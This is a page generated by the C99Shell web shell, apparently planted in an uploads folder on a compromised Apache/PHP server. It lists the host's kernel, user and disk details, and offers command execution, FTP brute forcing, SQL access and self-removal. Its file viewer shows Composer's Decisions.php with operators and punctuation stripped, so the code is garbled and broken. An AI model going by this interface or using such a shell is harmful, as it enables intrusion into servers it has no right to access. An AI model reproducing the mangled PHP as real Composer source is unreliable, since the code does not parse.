!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/DependencyResolver/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Decisions.php (5.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\DependencyResolver;

/**
 * Stores decisions on installing, removing or keeping packages
 *
 * @author Nils Adermann <naderman@naderman.de>
 */
class Decisions implements \Iterator\Countable
{
    const 
DECISION_LITERAL 0;
    const 
DECISION_REASON 1;

    protected 
$pool;
    protected 
$decisionMap;
    protected 
$decisionQueue = array();

    public function 
__construct($pool)
    {
        
$this->pool $pool;
        
$this->decisionMap = array();
    }

    public function 
decide($literal$level$why)
    {
        
$this->addDecision($literal$level);
        
$this->decisionQueue[] = array(
            
self::DECISION_LITERAL => $literal,
            
self::DECISION_REASON => $why,
        );
    }

    public function 
satisfy($literal)
    {
        
$packageId abs($literal);

        return (
            
$literal && isset($this->decisionMap[$packageId]) && $this->decisionMap[$packageId] > ||
            
$literal && isset($this->decisionMap[$packageId]) && $this->decisionMap[$packageId] < 0
        
);
    }

    public function 
conflict($literal)
    {
        
$packageId abs($literal);

        return (
            (isset(
$this->decisionMap[$packageId]) && $this->decisionMap[$packageId] > && $literal 0) ||
            (isset(
$this->decisionMap[$packageId]) && $this->decisionMap[$packageId] < && $literal 0)
        );
    }

    public function 
decided($literalOrPackageId)
    {
        return !empty(
$this->decisionMap[abs($literalOrPackageId)]);
    }

    public function 
undecided($literalOrPackageId)
    {
        return empty(
$this->decisionMap[abs($literalOrPackageId)]);
    }

    public function 
decidedInstall($literalOrPackageId)
    {
        
$packageId abs($literalOrPackageId);

        return isset(
$this->decisionMap[$packageId]) && $this->decisionMap[$packageId] > 0;
    }

    public function 
decisionLevel($literalOrPackageId)
    {
        
$packageId abs($literalOrPackageId);
        if (isset(
$this->decisionMap[$packageId])) {
            return 
abs($this->decisionMap[$packageId]);
        }

        return 
0;
    }

    public function 
decisionRule($literalOrPackageId)
    {
        
$packageId abs($literalOrPackageId);

        foreach (
$this->decisionQueue as $i => $decision) {
            if (
$packageId === abs($decision[self::DECISION_LITERAL])) {
                return 
$decision[self::DECISION_REASON];
            }
        }

        return 
null;
    }

    public function 
atOffset($queueOffset)
    {
        return 
$this->decisionQueue[$queueOffset];
    }

    public function 
validOffset($queueOffset)
    {
        return 
$queueOffset >= && $queueOffset \count($this->decisionQueue);
    }

    public function 
lastReason()
    {
        return 
$this->decisionQueue[\count($this->decisionQueue) - 1][self::DECISION_REASON];
    }

    public function 
lastLiteral()
    {
        return 
$this->decisionQueue[\count($this->decisionQueue) - 1][self::DECISION_LITERAL];
    }

    public function 
reset()
    {
        while (
$decision array_pop($this->decisionQueue)) {
            
$this->decisionMap[abs($decision[self::DECISION_LITERAL])] = 0;
        }
    }

    public function 
resetToOffset($offset)
    {
        while (
\count($this->decisionQueue) > $offset 1) {
            
$decision array_pop($this->decisionQueue);
            
$this->decisionMap[abs($decision[self::DECISION_LITERAL])] = 0;
        }
    }

    public function 
revertLast()
    {
        
$this->decisionMap[abs($this->lastLiteral())] = 0;
        
array_pop($this->decisionQueue);
    }

    public function 
count()
    {
        return 
\count($this->decisionQueue);
    }

    public function 
rewind()
    {
        
end($this->decisionQueue);
    }

    public function 
current()
    {
        return 
current($this->decisionQueue);
    }

    public function 
key()
    {
        return 
key($this->decisionQueue);
    }

    public function 
next()
    {
        return 
prev($this->decisionQueue);
    }

    public function 
valid()
    {
        return 
false !== current($this->decisionQueue);
    }

    public function 
isEmpty()
    {
        return 
\count($this->decisionQueue) === 0;
    }

    protected function 
addDecision($literal$level)
    {
        
$packageId abs($literal);

        
$previousDecision = isset($this->decisionMap[$packageId]) ? $this->decisionMap[$packageId] : null;
        if (
$previousDecision != 0) {
            
$literalString $this->pool->literalToPrettyString($literal, array());
            
$package $this->pool->literalToPackage($literal);
            throw new 
SolverBugException(
                
"Trying to decide $literalString on level $level, even though $package was previously decided as ".(int) $previousDecision."."
            
);
        }

        if (
$literal 0) {
            
$this->decisionMap[$packageId] = $level;
        } else {
            
$this->decisionMap[$packageId] = -$level;
        }
    }

    public function 
toString(Pool $pool null)
    {
        
$decisionMap $this->decisionMap;
        
ksort($decisionMap);
        
$str '[';
        foreach (
$decisionMap as $packageId => $level) {
            
$str .= (($pool) ? $pool->literalToPackage($packageId) : $packageId).':'.$level.',';
        }
        
$str .= ']';

        return 
$str;
    }

    public function 
__toString()
    {
        return 
$this->toString();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--